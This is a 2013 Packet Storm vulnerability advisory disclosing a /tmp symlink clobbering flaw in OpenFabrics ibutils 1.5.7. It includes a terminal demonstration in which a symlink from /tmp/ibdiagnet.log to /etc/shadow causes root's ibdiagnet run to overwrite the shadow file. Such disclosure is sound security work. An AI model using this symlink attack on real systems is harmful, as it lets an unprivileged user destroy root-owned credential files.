OpenFabrics ibutils 1.5.7 /tmp File Clobber

2013-03-07T00:00:00
ID PACKETSTORM:120693
Type packetstorm
Reporter Larry W. Cashdollar
Modified 2013-03-07T00:00:00

Description

                                        
                                            `OpenFabrics ibutils 1.5.7 /tmp clobbering vulnerability   
  
3/6/2013  
Larry W. Cashdollar  
@_larry0  
  
The infiniband diagnostic utiltiy handles files in /tmp insecurely. A malicious user can clobber root owned files with common symlink attacks.  
  
http://www.openfabrics.org/downloads/ibutils/  
  
[nobody@exdb01 tmp]$ ln -s /etc/shadow ibdiagnet.log  
[nobody@exdb01 tmp]$ ls -l ibdiagnet.log lrwxrwxrwx 1 nobody users 11 Mar 6 18:19 ibdiagnet.log -> /etc/shadow [nobody@exdb01 tmp]$  
The following files are created, I imagine anyone of them can be used.  
  
[root@exdb01 tmp]# ls -l /tmp/ibdiagnet* -rw-r--r-- 1 root root 57611 Mar 6 18:20 /tmp/ibdiagnet.db -rw-r--r-- 1 root root 830 Mar 6 18:20 /tmp/ibdiagnet.fdbs -rw-r--r-- 1 root root 5805 Mar 6 18:20 /tmp/ibdiagnet_ibis.log -rw-r--r-- 1 root root 2359 Mar 6 18:20 /tmp/ibdiagnet.log -rw-r--r-- 1 root root 7072 Mar 6 18:20 /tmp/ibdiagnet.lst -rw-r--r-- 1 root root 456 Mar 6 18:20 /tmp/ibdiagnet.mcfdbs -rw-r--r-- 1 root root 784 Mar 6 18:20 /tmp/ibdiagnet.pkey -rw-r--r-- 1 root root 3348 Mar 6 18:20 /tmp/ibdiagnet.psl -rw-r--r-- 1 root root 179228 Mar 6 18:20 /tmp/ibdiagnet.slvl -rw-r--r-- 1 root root 193 Mar 6 18:20 /tmp/ibdiagnet.sm  
After root runs a diagnostic command:  
  
[root@exdb01 tmp]# ibdiagnet -ls 10 -lw 4x -vlr Loading IBDIAGNET from: /usr/lib64/ibdiagnet1.5.7 -W- Topology file is not specified.  
  
Reports regarding cluster links will use direct routes. Loading IBDM from: /usr/lib64/ibdm1.5.7 -W- A few ports of local device are up.  
  
Since port-num was not specified (-p option), port 1 of device 1 will be used as the local port.  
-I- Discovering ... 7 nodes (2 Switches & 5 CA-s) discovered. .  
.  
.  
.  
  
Extracting SL Based Routing Info 0 0  
Please see /tmp/ibdiagnet.log for complete log  
  
-I- Done. Run time was 2 seconds.  
Symlinked files are overwritten:  
  
[root@exdb01 tmp] ls -l /etc/shadow  
-rw------- 1 root root 2359 Mar 6 18:17 /etc/shadow [root@exdb01 tmp] head /etc/shadow  
-W- Topology file is not specified.  
  
Reports regarding cluster links will use direct routes. -W- A few ports of local device are up.  
  
Since port-num was not specified (-p option), port 1 of device 1 will be used as the local port.  
-I- Discovering ... 7 nodes (2 Switches & 5 CA-s) discovered.  
  
-I--------------------------------------------------- -I- Bad Guids/LIDs Info  
Versions installed  
  
[root@exdb01 tmp] rpm -aq |grep ibutils ibutils-1.5.7-1.el5  
ibutils-libs-1.5.7-1.el5  
ibutils-devel-1.5.7-1.el5  
[root@exdb01 tmp]   
`